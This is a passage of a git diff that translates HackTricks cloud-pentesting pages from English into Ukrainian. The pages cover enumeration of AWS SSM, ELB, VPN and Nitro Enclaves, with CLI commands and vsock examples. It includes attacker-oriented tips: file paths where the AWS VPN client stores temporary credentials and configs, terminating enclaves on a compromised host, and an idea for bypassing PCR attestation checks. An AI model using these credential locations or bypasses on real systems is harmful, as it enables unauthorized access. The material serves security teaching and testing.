Manager (SSM)** дозволяє віддалено керувати групами EC2 екземплярів, щоб спростити їх адміністрування. Кожен з цих екземплярів повинен виконувати **службу SSM Agent, оскільки саме ця служба отримуватиме дії та виконуватиме їх** з AWS API. -**SSM Agent** makes it possible for Systems Manager to update, manage, and configure these resources. The agent **processes requests from the Systems Manager service in the AWS Cloud**, and then runs them as specified in the request. +**SSM Agent** дозволяє Systems Manager оновлювати, керувати та налаштовувати ці ресурси. Агент **обробляє запити від служби Systems Manager в AWS Cloud** і потім виконує їх відповідно до запиту. -The **SSM Agent comes**[ **preinstalled in some AMIs**](https://docs.aws.amazon.com/systems-manager/latest/userguide/ami-preinstalled-agent.html) or you need to [**manually install them**](https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-manual-agent-install.html) on the instances. Also, the IAM Role used inside the instance needs to have the policy **AmazonEC2RoleforSSM** attached to be able to communicate. - -### Enumeration +**SSM Agent постачається**[ **попередньо встановленим в деяких AMI**](https://docs.aws.amazon.com/systems-manager/latest/userguide/ami-preinstalled-agent.html) або вам потрібно [**встановити їх вручну**](https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-manual-agent-install.html) на екземплярах. Також IAM роль, що використовується всередині екземпляра, повинна мати політику **AmazonEC2RoleforSSM**, щоб мати можливість спілкуватися. +### Перерахування ```bash aws ssm describe-instance-information aws ssm describe-parameters @@ -185,16 +182,13 @@ aws ssm describe-instance-patches --instance-id aws ssm describe-instance-patch-states --instance-ids aws ssm describe-instance-associations-status --instance-id ``` - -You can check in an EC2 instance if Systems Manager is runnign just by executing: - +Ви можете перевірити, чи працює Systems Manager в EC2 інстанції, просто виконавши: ```bash ps aux | grep amazon-ssm ``` - ### Privesc -In the following page you can check how to **abuse SSM permissions to escalate privileges**: +На наступній сторінці ви можете перевірити, як **зловживати дозволами SSM для ескалації привілеїв**: {{#ref}} ../../aws-privilege-escalation/aws-ssm-privesc.md @@ -202,10 +196,9 @@ In the following page you can check how to **abuse SSM permissions to escalate p ## ELB -**Elastic Load Balancing** (ELB) is a **load-balancing service for Amazon Web Services** (AWS) deployments. ELB automatically **distributes incoming application traffic** and scales resources to meet traffic demands. +**Elastic Load Balancing** (ELB) є **сервісом балансування навантаження для Amazon Web Services** (AWS). ELB автоматично **розподіляє вхідний трафік додатків** і масштабує ресурси для задоволення вимог трафіку. ### Enumeration - ```bash # List internet-facing ELBs aws elb describe-load-balancers @@ -216,11 +209,9 @@ aws elbv2 describe-load-balancers aws elbv2 describe-load-balancers | jq '.LoadBalancers[].DNSName' aws elbv2 describe-listeners --load-balancer-arn ``` +## Шаблони запуску та групи автоскалювання -## Launch Templates & Autoscaling Groups - -### Enumeration - +### Перерахування ```bash # Launch templates aws ec2 describe-launch-templates @@ -235,12 +226,11 @@ aws autoscaling describe-launch-configurations aws autoscaling describe-load-balancer-target-groups aws autoscaling describe-load-balancers ``` - ## Nitro -AWS Nitro is a suite of **innovative technologies** that form the underlying platform for AWS EC2 instances. Introduced by Amazon to **enhance security, performance, and reliability**, Nitro leverages custom **hardware components and a lightweight hypervisor**. It abstracts much of the traditional virtualization functionality to dedicated hardware and software, **minimizing the attack surface** and improving resource efficiency. By offloading virtualization functions, Nitro allows EC2 instances to deliver **near bare-metal performance**, making it particularly beneficial for resource-intensive applications. Additionally, the Nitro Security Chip specifically ensures the **security of the hardware and firmware**, further solidifying its robust architecture. +AWS Nitro - це набір **інноваційних технологій**, які формують базову платформу для AWS EC2 інстансів. Введений Amazon для **покращення безпеки, продуктивності та надійності**, Nitro використовує спеціальні **апаратні компоненти та легкий гіпервізор**. Він абстрагує більшість традиційних функцій віртуалізації на спеціалізоване апаратне та програмне забезпечення, **мінімізуючи поверхню атаки** та покращуючи ефективність ресурсів. Завдяки перенесенню функцій віртуалізації, Nitro дозволяє EC2 інстансам забезпечувати **практично продуктивність bare-metal**, що робить його особливо корисним для ресурсомістких додатків. Крім того, Nitro Security Chip спеціально забезпечує **безпеку апаратного забезпечення та прошивки**, ще більше зміцнюючи його надійну архітектуру. -Get more information and how to enumerate it from: +Отримайте більше інформації та дізнайтеся, як це перерахувати з: {{#ref}} aws-nitro-enum.md @@ -248,35 +238,34 @@ aws-nitro-enum.md ## VPN -A VPN allows to connect your **on-premise network (site-to-site VPN)** or the **workers laptops (Client VPN)** with a **AWS VPC** so services can accessed without needing to expose them to the internet. +VPN дозволяє підключити вашу **локальну мережу (site-to-site VPN)** або **ноутбуки працівників (Client VPN)** до **AWS VPC**, щоб сервіси могли бути доступні без необхідності їх відкриття в інтернеті. -#### Basic AWS VPN Components +#### Основні компоненти AWS VPN 1. **Customer Gateway**: - - A Customer Gateway is a resource that you create in AWS to represent your side of a VPN connection. - - It is essentially a physical device or software application on your side of the Site-to-Site VPN connection. - - You provide routing information and the public IP address of your network device (such as a router or a firewall) to AWS to create a Customer Gateway. - - It serves as a reference point for setting up the VPN connection and doesn't incur additional charges. +- Customer Gateway - це ресурс, який ви створюєте в AWS, щоб представити вашу сторону VPN-з'єднання. +- Це, по суті, фізичний пристрій або програмний додаток на вашій стороні з'єднання Site-to-Site VPN. +- Ви надаєте інформацію про маршрутизацію та публічну IP-адресу вашого мережевого пристрою (такого як маршрутизатор або брандмауер) AWS для створення Customer Gateway. +- Він слугує точкою посилання для налаштування VPN-з'єднання і не несе додаткових витрат. 2. **Virtual Private Gateway**: - - A Virtual Private Gateway (VPG) is the VPN concentrator on the Amazon side of the Site-to-Site VPN connection. - - It is attached to your VPC and serves as the target for your VPN connection. - - VPG is the AWS side endpoint for the VPN connection. - - It handles the secure communication between your VPC and your on-premises network. +- Virtual Private Gateway (VPG) - це VPN-концентратор на стороні Amazon з'єднання Site-to-Site VPN. +- Він підключений до вашого VPC і слугує ціллю для вашого VPN-з'єднання. +- VPG - це кінцева точка AWS для VPN-з'єднання. +- Він обробляє безпечну комунікацію між вашим VPC та вашою локальною мережею. 3. **Site-to-Site VPN Connection**: - - A Site-to-Site VPN connection connects your on-premises network to a VPC through a secure, IPsec VPN tunnel. - - This type of connection requires a Customer Gateway and a Virtual Private Gateway. - - It's used for secure, stable, and consistent communication between your data center or network and your AWS environment. - - Typically used for regular, long-term connections and is billed based on the amount of data transferred over the connection. +- З'єднання Site-to-Site VPN з'єднує вашу локальну мережу з VPC через безпечний IPsec VPN тунель. +- Цей тип з'єднання вимагає Customer Gateway та Virtual Private Gateway. +- Він використовується для безпечної, стабільної та послідовної комунікації між вашим дата-центром або мережею та вашим AWS середовищем. +- Зазвичай використовується для регулярних, довгострокових з'єднань і оплачується на основі обсягу даних, переданих через з'єднання. 4. **Client VPN Endpoint**: - - A Client VPN endpoint is a resource that you create in AWS to enable and manage client VPN sessions. - - It is used for allowing individual devices (like laptops, smartphones, etc.) to securely connect to AWS resources or your on-premises network. - - It differs from Site-to-Site VPN in that it is designed for individual clients rather than connecting entire networks. - - With Client VPN, each client device uses a VPN client software to establish a secure connection. +- Кінцева точка Client VPN - це ресурс, який ви створюєте в AWS для активації та управління сесіями клієнтського VPN. +- Він використовується для дозволу окремим пристроям (таким як ноутбуки, смартфони тощо) безпечно підключатися до ресурсів AWS або вашої локальної мережі. +- Він відрізняється від Site-to-Site VPN тим, що призначений для окремих клієнтів, а не для з'єднання цілих мереж. +- З Client VPN кожен клієнтський пристрій використовує програмне забезпечення клієнта VPN для встановлення безпечного з'єднання. -You can [**find more information about the benefits and components of AWS VPNs here**](aws-vpc-and-networking-basic-information.md#vpn). +Ви можете [**знайти більше інформації про переваги та компоненти AWS VPN тут**](aws-vpc-and-networking-basic-information.md#vpn). ### Enumeration - ```bash # VPN endpoints ## Check used subnetwork, authentication, SGs, connected... @@ -300,31 +289,26 @@ aws ec2 describe-vpn-gateways # Get VPN site-to-site connections aws ec2 describe-vpn-connections ``` +### Локальна Перевірка -### Local Enumeration +**Локальні Тимчасові Облікові Дані** -**Local Temporary Credentials** +Коли використовується AWS VPN Client для підключення до VPN, користувач зазвичай **входить в AWS**, щоб отримати доступ до VPN. Потім деякі **облікові дані AWS створюються та зберігаються** локально для встановлення VPN-з'єднання. Ці облікові дані **зберігаються в** `$HOME/.config/AWSVPNClient/TemporaryCredentials//temporary-credentials.txt` і містять **AccessKey**, **SecretKey** та **Token**. -When AWS VPN Client is used to connect to a VPN, the user will usually **login in AWS** to get access to the VPN. Then, some **AWS credentials are created and stored** locally to establish the VPN connection. These credentials are **stored in** `$HOME/.config/AWSVPNClient/TemporaryCredentials//temporary-credentials.txt` and contains an **AccessKey**, a **SecretKey** and a **Token**. +Облікові дані належать користувачу `arn:aws:sts:::assumed-role/aws-vpn-client-metrics-analytics-access-role/CognitoIdentityCredentials` (TODO: дослідити більше про дозволи цих облікових даних). -The credentials belong to the user `arn:aws:sts:::assumed-role/aws-vpn-client-metrics-analytics-access-role/CognitoIdentityCredentials` (TODO: research more about the permissions of this credentials). +**файли конфігурації opvn** -**opvn config files** +Якщо **VPN-з'єднання було встановлено**, вам слід шукати **`.opvn`** файли конфігурації в системі. Більше того, одне місце, де ви можете знайти **конфігурації**, це **`$HOME/.config/AWSVPNClient/OpenVpnConfigs`** -If a **VPN connection was stablished** you should search for **`.opvn`** config files in the system. Moreover, one place where you could find the **configurations** is in **`$HOME/.config/AWSVPNClient/OpenVpnConfigs`** - -#### **Post Exploitaiton** +#### **Пост Експлуатація** {{#ref}} ../../aws-post-exploitation/aws-vpn-post-exploitation.md {{#endref}} -## References +## Посилання - [https://docs.aws.amazon.com/batch/latest/userguide/getting-started-ec2.html](https://docs.aws.amazon.com/batch/latest/userguide/getting-started-ec2.html) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md index 0575a17d8..adc0135f3 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md @@ -4,19 +4,18 @@ ## Basic Information -AWS Nitro is a suite of **innovative technologies** that form the underlying platform for AWS EC2 instances. Introduced by Amazon to **enhance security, performance, and reliability**, Nitro leverages custom **hardware components and a lightweight hypervisor**. It abstracts much of the traditional virtualization functionality to dedicated hardware and software, **minimizing the attack surface** and improving resource efficiency. By offloading virtualization functions, Nitro allows EC2 instances to deliver **near bare-metal performance**, making it particularly beneficial for resource-intensive applications. Additionally, the Nitro Security Chip specifically ensures the **security of the hardware and firmware**, further solidifying its robust architecture. +AWS Nitro - це набір **інноваційних технологій**, які формують базову платформу для AWS EC2 інстансів. Введений Amazon для **покращення безпеки, продуктивності та надійності**, Nitro використовує спеціальні **апаратні компоненти та легкий гіпервізор**. Він абстрагує більшість традиційних функцій віртуалізації на спеціалізоване апаратне та програмне забезпечення, **мінімізуючи поверхню атаки** та покращуючи ефективність ресурсів. Відключаючи функції віртуалізації, Nitro дозволяє EC2 інстансам забезпечувати **практично продуктивність bare-metal**, що робить його особливо корисним для ресурсомістких додатків. Крім того, Nitro Security Chip спеціально забезпечує **безпеку апаратного забезпечення та прошивки**, ще більше зміцнюючи його надійну архітектуру. ### Nitro Enclaves -**AWS Nitro Enclaves** provides a secure, **isolated compute environment within Amazon EC2 instances**, specifically designed for processing highly sensitive data. Leveraging the AWS Nitro System, these enclaves ensure robust **isolation and security**, ideal for **handling confidential information** such as PII or financial records. They feature a minimalist environment, significantly reducing the risk of data exposure. Additionally, Nitro Enclaves support cryptographic attestation, allowing users to verify that only authorized code is running, crucial for maintaining strict compliance and data protection standards. +**AWS Nitro Enclaves** забезпечує безпечне, **ізольоване обчислювальне середовище в Amazon EC2 інстансах**, спеціально розроблене для обробки високочутливих даних. Використовуючи AWS Nitro System, ці енклави забезпечують надійну **ізоляцію та безпеку**, ідеально підходять для **обробки конфіденційної інформації**, такої як PII або фінансові записи. Вони мають мінімалістичне середовище, що значно знижує ризик витоку даних. Крім того, Nitro Enclaves підтримують криптографічну атестацію, що дозволяє користувачам перевіряти, що виконується лише авторизований код, що є критично важливим для підтримки суворої відповідності та стандартів захисту даних. > [!CAUTION] -> Nitro Enclave images are **run from inside EC2 instances** and you cannot see from the AWS web console if an EC2 instances is running images in Nitro Enclave or not. +> Зображення Nitro Enclave **запускаються зсередини EC2 інстансів**, і ви не можете побачити з веб-консолі AWS, чи запущені зображення в Nitro Enclave чи ні. ## Nitro Enclave CLI installation -Follow the all instructions [**from the documentation**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli#run-connect-and-terminate-the-enclave). However, these are the most important ones: - +Слідуйте всім інструкціям [**з документації**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli#run-connect-and-terminate-the-enclave). Однак, це найважливіші з них: ```bash # Install tools sudo amazon-linux-extras install aws-nitro-enclaves-cli -y @@ -32,47 +31,39 @@ nitro-cli --version # Start and enable the Nitro Enclaves allocator service. sudo systemctl start nitro-enclaves-allocator.service && sudo systemctl enable nitro-enclaves-allocator.service ``` - ## Nitro Enclave Images -The images that you can run in Nitro Enclave are based on docker images, so you can create your Nitro Enclave images from docker images like: - +Зображення, які ви можете запускати в Nitro Enclave, базуються на docker-зображеннях, тому ви можете створити свої зображення Nitro Enclave з docker-зображень, таких як: ```bash # You need to have the docker image accesible in your running local registry # Or indicate the full docker image URL to access the image nitro-cli build-enclave --docker-uri : --output-file nitro-img.eif ``` +Як ви можете бачити, зображення Nitro Enclave використовують розширення **`eif`** (Enclave Image File). -As you can see the Nitro Enclave images use the extension **`eif`** (Enclave Image File). - -The output will look similar to: - +Вихід буде виглядати подібно до: ``` Using the locally available Docker image... Enclave Image successfully created. { - "Measurements": { - "HashAlgorithm": "Sha384 { ... }", - "PCR0": "e199261541a944a93129a52a8909d29435dd89e31299b59c371158fc9ab3017d9c450b0a580a487e330b4ac691943284", - "PCR1": "bcdf05fefccaa8e55bf2c8d6dee9e79bbff31e34bf28a99aa19e6b29c37ee80b214a414b7607236edf26fcb78654e63f", - "PCR2": "2e1fca1dbb84622ec141557dfa971b4f8ea2127031b264136a20278c43d1bba6c75fea286cd4de9f00450b6a8db0e6d3" - } +"Measurements": { +"HashAlgorithm": "Sha384 { ... }", +"PCR0": "e199261541a944a93129a52a8909d29435dd89e31299b59c371158fc9ab3017d9c450b0a580a487e330b4ac691943284", +"PCR1": "bcdf05fefccaa8e55bf2c8d6dee9e79bbff31e34bf28a99aa19e6b29c37ee80b214a414b7607236edf26fcb78654e63f", +"PCR2": "2e1fca1dbb84622ec141557dfa971b4f8ea2127031b264136a20278c43d1bba6c75fea286cd4de9f00450b6a8db0e6d3" +} } ``` +### Запустіть зображення -### Run an Image - -As per [**the documentation**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli#run-connect-and-terminate-the-enclave), in order to run an enclave image you need to assign it memory of **at least 4 times the size of the `eif` file**. It's possible to configure the default resources to give to it in the file - +Згідно з [**документацією**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli#run-connect-and-terminate-the-enclave), для запуску зображення енклаву вам потрібно виділити пам'ять **принаймні в 4 рази більшу за розмір файлу `eif`**. Можливо налаштувати ресурси за замовчуванням, які потрібно надати в файлі. ```shell /etc/nitro_enclaves/allocator.yaml ``` - > [!CAUTION] -> Always remember that you need to **reserve some resources for the parent EC2** instance also! - -After knowing the resources to give to an image and even having modified the configuration file it's possible to run an enclave image with: +> Завжди пам'ятайте, що вам потрібно **зарезервувати деякі ресурси для батьківського EC2** екземпляра також! +Після того, як ви дізналися про ресурси, які потрібно надати зображенню, і навіть змінивши файл конфігурації, можливо запустити зображення анклаву з: ```shell # Restart the service so the new default values apply sudo systemctl start nitro-enclaves-allocator.service && sudo systemctl enable nitro-enclaves-allocator.service @@ -80,80 +71,72 @@ sudo systemctl start nitro-enclaves-allocator.service && sudo systemctl enable n # Indicate the CPUs and memory to give nitro-cli run-enclave --cpu-count 2 --memory 3072 --eif-path hello.eif --debug-mode --enclave-cid 16 ``` +### Перерахунок Енклавів -### Enumerate Enclaves - -If you compromise and EC2 host it's possible to get a list of running enclave images with: - +Якщо ви зламаєте хост EC2, можливо отримати список запущених образів енклавів за допомогою: ```bash nitro-cli describe-enclaves ``` - -It's **not possible to get a shell** inside a running enclave image because thats the main purpose of enclave, however, if you used the parameter **`--debug-mode`**, it's possible to get the **stdout** of it with: - +Це **неможливо отримати shell** всередині запущеного образу enclave, оскільки це основна мета enclave, однак, якщо ви використовували параметр **`--debug-mode`**, можливо отримати **stdout** з нього за допомогою: ```shell ENCLAVE_ID=$(nitro-cli describe-enclaves | jq -r ".[0].EnclaveID") nitro-cli console --enclave-id ${ENCLAVE_ID} ``` - ### Terminate Enclaves -If an attacker compromise an EC2 instance by default he won't be able to get a shell inside of them, but he will be able to **terminate them** with: - +Якщо зловмисник зламає EC2 екземпляр, за замовчуванням він не зможе отримати оболонку всередині них, але він зможе **terminate them** з: ```shell nitro-cli terminate-enclave --enclave-id ${ENCLAVE_ID} ``` - ## Vsocks -The only way to communicate with an **enclave** running image is using **vsocks**. +Єдиний спосіб зв'язатися з **enclave**, що виконує образ, - це використання **vsocks**. -**Virtual Socket (vsock)** is a socket family in Linux specifically designed to facilitate **communication** between virtual machines (**VMs**) and their **hypervisors**, or between VMs **themselves**. Vsock enables efficient, **bi-directional communication** without relying on the host's networking stack. This makes it possible for VMs to communicate even without network configurations, **using a 32-bit Context ID (CID) and port numbers** to identify and manage connections. The vsock API supports both stream and datagram socket types, similar to TCP and UDP, providing a versatile tool for user-level applications in virtual environments. +**Віртуальний сокет (vsock)** - це сімейство сокетів у Linux, спеціально розроблене для полегшення **зв'язку** між віртуальними машинами (**VMs**) та їх **гипервізорами**, або між VMs **самими**. Vsock забезпечує ефективний, **двосторонній зв'язок** без покладання на мережевий стек хоста. Це дозволяє VMs спілкуватися навіть без мережевих конфігурацій, **використовуючи 32-бітний Context ID (CID) та номери портів** для ідентифікації та управління з'єднаннями. API vsock підтримує як потоки, так і типи сокетів датаграм, подібно до TCP та UDP, надаючи універсальний інструмент для додатків на рівні користувача у віртуальних середовищах. > [!TIP] -> Therefore, an vsock address looks like this: `:` +> Отже, адреса vsock виглядає так: `:` -To find **CIDs** of the enclave running images you could just execute the following cmd and thet the **`EnclaveCID`**: +Щоб знайти **CIDs** образів, що виконують enclave, ви можете просто виконати наступну команду і отримати **`EnclaveCID`**:
nitro-cli describe-enclaves
 
 [
-  {
-    "EnclaveName": "secure-channel-example",
-    "EnclaveID": "i-0bc274f83ade02a62-enc18ef3d09c886748",
-    "ProcessID": 10131,
+{
+"EnclaveName": "secure-channel-example",
+"EnclaveID": "i-0bc274f83ade02a62-enc18ef3d09c886748",
+"ProcessID": 10131,
     "EnclaveCID": 16,
     "NumberOfCPUs": 2,
-    "CPUIDs": [
-      1,
-      3
-    ],
-    "MemoryMiB": 1024,
-    "State": "RUNNING",
-    "Flags": "DEBUG_MODE",
-    "Measurements": {
-      "HashAlgorithm": "Sha384 { ... }",
-      "PCR0": "e199261541a944a93129a52a8909d29435dd89e31299b59c371158fc9ab3017d9c450b0a580a487e330b4ac691943284",
-      "PCR1": "bcdf05fefccaa8e55bf2c8d6dee9e79bbff31e34bf28a99aa19e6b29c37ee80b214a414b7607236edf26fcb78654e63f",
-      "PCR2": "2e1fca1dbb84622ec141557dfa971b4f8ea2127031b264136a20278c43d1bba6c75fea286cd4de9f00450b6a8db0e6d3"
-    }
-  }
+"CPUIDs": [
+1,
+3
+],
+"MemoryMiB": 1024,
+"State": "RUNNING",
+"Flags": "DEBUG_MODE",
+"Measurements": {
+"HashAlgorithm": "Sha384 { ... }",
+"PCR0": "e199261541a944a93129a52a8909d29435dd89e31299b59c371158fc9ab3017d9c450b0a580a487e330b4ac691943284",
+"PCR1": "bcdf05fefccaa8e55bf2c8d6dee9e79bbff31e34bf28a99aa19e6b29c37ee80b214a414b7607236edf26fcb78654e63f",
+"PCR2": "2e1fca1dbb84622ec141557dfa971b4f8ea2127031b264136a20278c43d1bba6c75fea286cd4de9f00450b6a8db0e6d3"
+}
+}
 ]
 
> [!WARNING] -> Note that from the host there isn't any way to know if a CID is exposing any port! Unless using some **vsock port scanner like** [**https://github.com/carlospolop/Vsock-scanner**](https://github.com/carlospolop/Vsock-scanner). +> Зверніть увагу, що з хоста немає жодного способу дізнатися, чи CID відкриває якийсь порт! Якщо не використовувати якийсь **сканер портів vsock, як** [**https://github.com/carlospolop/Vsock-scanner**](https://github.com/carlospolop/Vsock-scanner). ### Vsock Server/Listener -Find here a couple of examples: +Знайдіть тут кілька прикладів: - [https://github.com/aws-samples/aws-nitro-enclaves-workshop/blob/main/resources/code/my-first-enclave/secure-local-channel/server.py](https://github.com/aws-samples/aws-nitro-enclaves-workshop/blob/main/resources/code/my-first-enclave/secure-local-channel/server.py)
-Simple Python Listener - +Простий Python Listener ```python #!/usr/bin/env python3 @@ -173,30 +156,26 @@ s.listen() print(f"Connection opened by cid={remote_cid} port={remote_port}") while True: - buf = conn.recv(64) - if not buf: - break +buf = conn.recv(64) +if not buf: +break - print(f"Received bytes: {buf}") +print(f"Received bytes: {buf}") ``` -
- ```bash # Using socat socat VSOCK-LISTEN:,fork EXEC:"echo Hello from server!" ``` - ### Vsock Client -Examples: +Приклади: - [https://github.com/aws-samples/aws-nitro-enclaves-workshop/blob/main/resources/code/my-first-enclave/secure-local-channel/client.py](https://github.com/aws-samples/aws-nitro-enclaves-workshop/blob/main/resources/code/my-first-enclave/secure-local-channel/client.py)
-Simple Python Client - +Простий Python клієнт ```python #!/usr/bin/env python3 @@ -212,64 +191,51 @@ s.connect((CID, PORT)) s.sendall(b"Hello, world!") s.close() ``` -
- ```bash # Using socat echo "Hello, vsock!" | socat - VSOCK-CONNECT:3:5000 ``` - ### Vsock Proxy -The tool vsock-proxy allows to proxy a vsock proxy with another address, for example: - +Інструмент vsock-proxy дозволяє проксувати vsock проксі з іншою адресою, наприклад: ```bash vsock-proxy 8001 ip-ranges.amazonaws.com 443 --config your-vsock-proxy.yaml ``` - -This will forward the **local port 8001 in vsock** to `ip-ranges.amazonaws.com:443` and the file **`your-vsock-proxy.yaml`** might have this content allowing to access `ip-ranges.amazonaws.com:443`: - +Це перенаправить **локальний порт 8001 у vsock** на `ip-ranges.amazonaws.com:443`, а файл **`your-vsock-proxy.yaml`** може містити цей вміст, що дозволяє отримати доступ до `ip-ranges.amazonaws.com:443`: ```yaml allowlist: - - { address: ip-ranges.amazonaws.com, port: 443 } +- { address: ip-ranges.amazonaws.com, port: 443 } ``` - -It's possible to see the vsock addresses (**`:`**) used by the EC2 host with (note the `3:8001`, 3 is the CID and 8001 the port): - +Можливо побачити адреси vsock (**`:`**), які використовуються хостом EC2 за допомогою (зверніть увагу на `3:8001`, 3 - це CID, а 8001 - порт): ```bash sudo ss -l -p -n | grep v_str v_str LISTEN 0 0 3:8001 *:* users:(("vsock-proxy",pid=9458,fd=3)) ``` - ## Nitro Enclave Atestation & KMS -The Nitro Enclaves SDK allows an enclave to request a **cryptographically signed attestation document** from the Nitro **Hypervisor**, which includes **unique measurements** specific to that enclave. These measurements, which include **hashes and platform configuration registers (PCRs)**, are used during the attestation process to **prove the enclave's identity** and **build trust with external services**. The attestation document typically contains values like PCR0, PCR1, and PCR2, which you have encountered before when building and saving an enclave EIF. +Nitro Enclaves SDK дозволяє енклаву запитувати **криптографічно підписаний документ атестації** від Nitro **Гіпервізора**, який містить **унікальні вимірювання**, специфічні для цього енклаву. Ці вимірювання, які включають **хеші та регістри конфігурації платформи (PCR)**, використовуються під час процесу атестації для **доказу ідентичності енклаву** та **побудови довіри з зовнішніми сервісами**. Документ атестації зазвичай містить значення, такі як PCR0, PCR1 та PCR2, з якими ви вже стикалися під час створення та збереження EIF енклаву. -From the [**docs**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-3-cryptographic-attestation#a-unique-feature-on-nitro-enclaves), these are the PCR values: +З [**документації**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-3-cryptographic-attestation#a-unique-feature-on-nitro-enclaves), це значення PCR: -
PCRHash of ...Description
PCR0Enclave image fileA contiguous measure of the contents of the image file, without the section data.
PCR1Linux kernel and bootstrapA contiguous measurement of the kernel and boot ramfs data.
PCR2ApplicationA contiguous, in-order measurement of the user applications, without the boot ramfs.
PCR3IAM role assigned to the parent instanceA contiguous measurement of the IAM role assigned to the parent instance. Ensures that the attestation process succeeds only when the parent instance has the correct IAM role.
PCR4Instance ID of the parent instanceA contiguous measurement of the ID of the parent instance. Ensures that the attestation process succeeds only when the parent instance has a specific instance ID.
PCR8Enclave image file signing certificateA measure of the signing certificate specified for the enclave image file. Ensures that the attestation process succeeds only when the enclave was booted from an enclave image file signed by a specific certificate.
+
PCRХеш ...Опис
PCR0Файл зображення енклавуБезперервне вимірювання вмісту файлу зображення, без даних секції.
PCR1Ядро Linux та завантаженняБезперервне вимірювання даних ядра та завантажувального ramfs.
PCR2ДодатокБезперервне, в порядку вимірювання користувацьких додатків, без завантажувального ramfs.
PCR3Роль IAM, призначена батьківському екземпляруБезперервне вимірювання ролі IAM, призначеної батьківському екземпляру. Забезпечує, що процес атестації успішний лише тоді, коли батьківський екземпляр має правильну роль IAM.
PCR4ID екземпляра батьківського екземпляраБезперервне вимірювання ID батьківського екземпляра. Забезпечує, що процес атестації успішний лише тоді, коли батьківський екземпляр має конкретний ID екземпляра.
PCR8Сертифікат підпису файлу зображення енклавуВимірювання сертифіката підпису, вказаного для файлу зображення енклаву. Забезпечує, що процес атестації успішний лише тоді, коли енклав був завантажений з файлу зображення енклаву, підписаного конкретним сертифікатом.
-You can integrate **cryptographic attestation** into your applications and leverage pre-built integrations with services like **AWS KMS**. AWS KMS can **validate enclave attestations** and offers attestation-based condition keys (`kms:RecipientAttestation:ImageSha384` and `kms:RecipientAttestation:PCR`) in its key policies. These policies ensure that AWS KMS permits operations using the KMS key **only if the enclave's attestation document is valid** and meets the **specified conditions**. +Ви можете інтегрувати **криптографічну атестацію** у свої додатки та використовувати готові інтеграції з такими сервісами, як **AWS KMS**. AWS KMS може **перевіряти атестації енклавів** та пропонує ключі умов атестації (`kms:RecipientAttestation:ImageSha384` та `kms:RecipientAttestation:PCR`) у своїх політиках ключів. Ці політики забезпечують, що AWS KMS дозволяє операції з використанням ключа KMS **лише якщо документ атестації енклаву є дійсним** і відповідає **вказаним умовам**. > [!TIP] -> Note that Enclaves in debug (--debug) mode generate attestation documents with PCRs that are made of zeros (`000000000000000000000000000000000000000000000000`). Therefore, KMS policies checking these values will fail. +> Зверніть увагу, що Енклави в режимі налагодження (--debug) генерують документи атестації з PCR, які складаються з нулів (`000000000000000000000000000000000000000000000000`). Тому політики KMS, які перевіряють ці значення, зазнають невдачі. ### PCR Bypass -From an attackers perspective, notice that some PCRs would allow to modify some parts or all the enclave image and would still be valid (for example PCR4 just checks the ID of the parent instance so running any enclave image in that EC2 will allow to fulfil this potential PCR requirement). +З точки зору атакуючого, зверніть увагу, що деякі PCR дозволять змінити деякі частини або все зображення енклаву і все ще будуть дійсними (наприклад, PCR4 просто перевіряє ID батьківського екземпляра, тому запуск будь-якого зображення енклаву в цьому EC2 дозволить виконати цю потенційну вимогу PCR). -Therefore, an attacker that compromise the EC2 instance might be able to run other enclave images in order to bypass these protections. +Отже, атакуючий, який зламає екземпляр EC2, може бути в змозі запустити інші зображення енклаву, щоб обійти ці захисти. -The research on how to modify/create new images to bypass each protection (spcially the not taht obvious ones) is still TODO. +Дослідження про те, як змінити/створити нові зображення для обходу кожного захисту (особливо тих, що не є очевидними) все ще в процесі. ## References - [https://medium.com/@F.DL/understanding-vsock-684016cf0eb0](https://medium.com/@F.DL/understanding-vsock-684016cf0eb0) -- All the parts of the Nitro tutorial from AWS: [https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli) +- Усі частини навчального посібника Nitro від AWS: [https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md index 03277bfd1..c743be78f 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md @@ -4,196 +4,192 @@ ## AWS Networking in a Nutshell -A **VPC** contains a **network CIDR** like 10.0.0.0/16 (with its **routing table** and **network ACL**). +**VPC** містить **CIDR мережі** як 10.0.0.0/16 (з його **таблицею 